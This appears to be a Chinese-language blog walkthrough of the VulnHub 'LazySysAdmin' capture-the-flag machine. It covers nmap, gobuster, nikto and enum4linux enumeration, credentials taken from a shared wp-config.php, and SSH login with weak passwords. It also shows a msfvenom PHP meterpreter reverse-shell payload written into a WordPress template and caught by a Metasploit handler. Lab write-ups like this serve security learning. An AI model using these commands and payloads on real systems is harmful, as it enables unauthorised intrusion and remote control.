VulnHub-LazySysAdmin: 1Walkthrough渗透学习

VulnHub-LazySysAdmin: 1Walkthrough渗透学习

前言

靶机地址:https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
靶机难度:中级(CTF)
靶机发布日期:2016年4月27日
靶机描述:这是SickOs的后续系列中的第二篇,并且与先前的发行版无关,挑战范围是在系统上获得最高特权。
目标:得到root权限&找到flag.txt
作者:我是小小白
时间:2021-07-06

请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!

信息收集

主机发现

我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:

nmap -sP 192.168.1.0/24 -T4
参数解读:
	-sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
	-T4: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4

VulnHub-LazySysAdmin: 1Walkthrough渗透学习

端口扫描

我们已经找到了目标计算机IP地址:192.168.1.12
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:

nmap -sS -sV -sC -O -T5  -Pn -p- 192.168.1.12
参数解读:
	-A :启用-A选项之后,Nmap将检测目标主机的下述信息
        服务版本识别(-sV);
        操作系统识别(-O);
        脚本扫描(-sC);
        Traceroute(–traceroute)
	-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
	-sV: 指定让Nmap进行服务版本扫描
	-p-:进行全端口扫描
	-Pn:禁用主机检测(-Pn)

VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习

目录枚举

gobuster dir -u http://192.168.1.12/  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent   

VulnHub-LazySysAdmin: 1Walkthrough渗透学习

/wordpress            (Status: 301) [Size: 315] [--> http://192.168.1.12/wordpress/]
/test                 (Status: 301) [Size: 310] [--> http://192.168.1.12/test/]     
/wp                   (Status: 301) [Size: 308] [--> http://192.168.1.12/wp/]       
/apache               (Status: 301) [Size: 312] [--> http://192.168.1.12/apache/]   
/old                  (Status: 301) [Size: 309] [--> http://192.168.1.12/old/]      
/javascript           (Status: 301) [Size: 316] [--> http://192.168.1.12/javascript/]
/phpmyadmin           (Status: 301) [Size: 316] [--> http://192.168.1.12/phpmyadmin/]
/server-status        (Status: 403) [Size: 292] 

VulnHub-LazySysAdmin: 1Walkthrough渗透学习

指纹识别

访问80端口返回网站信息;
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习

漏洞发现

Nikto 通过代理扫描

nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等

nikto -h 192.168.1.12

VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
扫描出来备份文件路径:
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
尝试弱口令,发现存在admin用户,但是登录失败。
VulnHub-LazySysAdmin: 1Walkthrough渗透学习

漏洞利用

对Smb服务器进行探测(445端口)

Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具.
枚举选项:
     -U        获取用户列表
     -M        获取机器列表*
     -S        获取共享列表
     -P        获取密码策略信息
     -G        获取组和成员列表
     -d        详述适用于-U和-S
     -u user   用户指定要使用的用户名(默认"")
     -p pass   指定要使用的密码(默认为"")
以下选项是enum.exe未实现的: -L, -N, -D, -f
其他选项:
    -a        做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
    -h        显示此帮助消息并退出
    -r        通过RID循环枚举用户
    -R range  RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
    -K n      继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
    -l        通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
    -s        文件暴力猜测共享名称
    -k user   远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
              用于获取sid与“lookupsid known_username”
              使用逗号尝试几个用户:“-k admin,user1,user2”
    -o        获取操作系统信息
    -i        获取打印机信息
    -w wrkg   手动指定工作组(通常自动找到)
    -n        做一个nmblookup(类似于nbtstat)
    -v        详细输出,显示正在运行的完整命令(net,rpcclient等)
RID循环应从Windows(或Samba)主机中提取一个用户列表,其中限制匿名设置为1(Windows NT和2000)或启用“网络访问:允许匿名SID /名称转换”(XP,2003)。


enum4linux -S 192.168.1.12

VulnHub-LazySysAdmin: 1Walkthrough渗透学习
发现存在3个共享目录;
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
远程连接smb服务器
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
在wp-config.php 里面定义了一些账号密码,详细信息如下:
VulnHub-LazySysAdmin: 1Walkthrough渗透学习

第一种提权方法

尝试使用账户密码登录SSH,发现使用账户Togie,密码12345能够成功登录;
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
成功获取到flag文件;

第二种提权方法

登录WordPress后台,利用反弹shell,获取flag
使用账户admin,密码:TogieMYSQL12345^^成功登录wordpress的后台;
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
1、上传php meterpreter payload文件,浏览器访问上传后的文件,获取php类型的反弹会话;
成功登录后,发现能上传文件,这边要使用msfvenom做PHP木马文件上传进行shell提权
1、筛选payload

msfvenom -l payload | grep php | grep meterpreter    筛选合适的payload

VulnHub-LazySysAdmin: 1Walkthrough渗透学习
2、生成payload

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.7 lport=4444 -o wordpress.php

VulnHub-LazySysAdmin: 1Walkthrough渗透学习
3、上传payload
在web页面上传后记录下上传文件的路径;(这里利用的是wordpress404模板文件写入的webshell)
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
4、Kali设置监听载荷

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.7
set LPORT 4444
exploit

VulnHub-LazySysAdmin: 1Walkthrough渗透学习
5、获取到webshell以后发现是www-data权限,这里可以使用账户togie密码12345切换账户登录,最终也可以拿到root权限;
VulnHub-LazySysAdmin: 1Walkthrough渗透学习

上一篇:VulnHub靶机-DerpNStink


下一篇:Vulnhub之zico2